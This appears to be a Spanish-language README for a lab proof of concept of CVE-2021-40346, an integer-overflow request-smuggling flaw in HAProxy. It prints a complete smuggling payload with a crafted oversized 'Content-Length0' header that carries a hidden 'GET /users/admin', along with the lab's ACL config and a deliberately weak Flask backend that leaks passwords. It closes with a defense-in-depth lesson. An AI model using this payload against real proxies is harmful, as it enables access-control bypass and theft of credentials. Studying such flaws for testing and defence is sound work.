
Contrabando de solicitudes HTTP
Este proyecto demuestra CVE-2021-40346, una vulnerabilidad crítica de desbordamiento de enteros en HAProxy que permite ataques de contrabando de solicitudes HTTP para eludir los controles de seguridad.
Puntaje CVSSv3: 7.5 (Alto)
CVE-2021-40346 es una vulnerabilidad de desbordamiento de enteros en la lógica de análisis de encabezados HTTP de HAProxy. Cuando un nombre de encabezado supera los 255 bytes, el valor de longitud se desborda de un campo de 8 bits, lo que hace que HAProxy interprete mal el encabezado durante el reenvío de solicitudes.
El atacante envía: Nombre del encabezado = "Content-Length0" + 255×'a' = 270 bytes
Fase 1 (Análisis inicial):
name_length = 270 % 256 = 14 (desbordamiento de 8 bits)value_length = 1Content-Length: 60 y lo trata como longitud del cuerpoFase 2 (Reenvío de solicitud):
"Content-Length""0"content-length: 0 a la solicitud reenviadaContent-Length: 60 (según la lógica normal)Procesamiento del backend:
content-length: 0 desde HAProxyConsidere HAProxy configurado con reglas ACL que restringen el acceso a rutas de administración:
http-request deny if { path_beg /users/admin }
En nuestro PoC, usamos una sesión de usuario regular (alice) para acceder al endpoint protegido /users/admin que solo debería ser accesible para administradores.
Solicitud Maliciosa (Solicitud 1 - Veneno):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Solicitud que HAProxy Reenvía:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Solicitud de Finalización (Solicitud 2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
Solicitud de Contrabando Completa que Procesa el Backend:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
Resultado:
content-length: 0 (la ACL ve la ruta segura)La instancia vulnerable de HAProxy está configurada con reglas ACL para proteger el endpoint de administración:
...
# ACL to detect admin endpoint access
acl is_admin_endpoint path_beg /users/admin
# ACL to check for admin session cookie
acl has_admin_session cook(session) -m beg admin_
# Deny access to admin endpoint if user doesn't have admin session
http-request deny if is_admin_endpoint !has_admin_session
...
Puntos Clave:
/users/admin está bloqueado a menos que la cookie de sesión comience con admin_user_) son denegadosEl servidor backend tiene tres usuarios y un endpoint de administración:
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... authentication logic ...
# Generate session token with role prefix
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# Returns sensitive data including all user passwords
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
Modelo de Seguridad:
user_a1b2c3d4...admin_a1b2c3d4.../users/adminPor Qué Funciona:
POST / (permitida)POST / (sin restricción de administrador)content-length: 0 (debido al error de desbordamiento)GET /users/adminGET /users/admin directamente, revelando contraseñasLección de Defensa en Profundidad: Esto demuestra por qué los backends nunca deben confiar ciegamente en el proxy. Incluso con las ACL de HAProxy implementadas, el backend debería:
@require_admin)Depender únicamente del control de acceso a nivel de proxy crea un punto único de fallo.
El PoC demuestra cómo eludir las ACL de HAProxy para acceder a /users/admin usando la sesión de un usuario regular a través de cuatro pasos clave: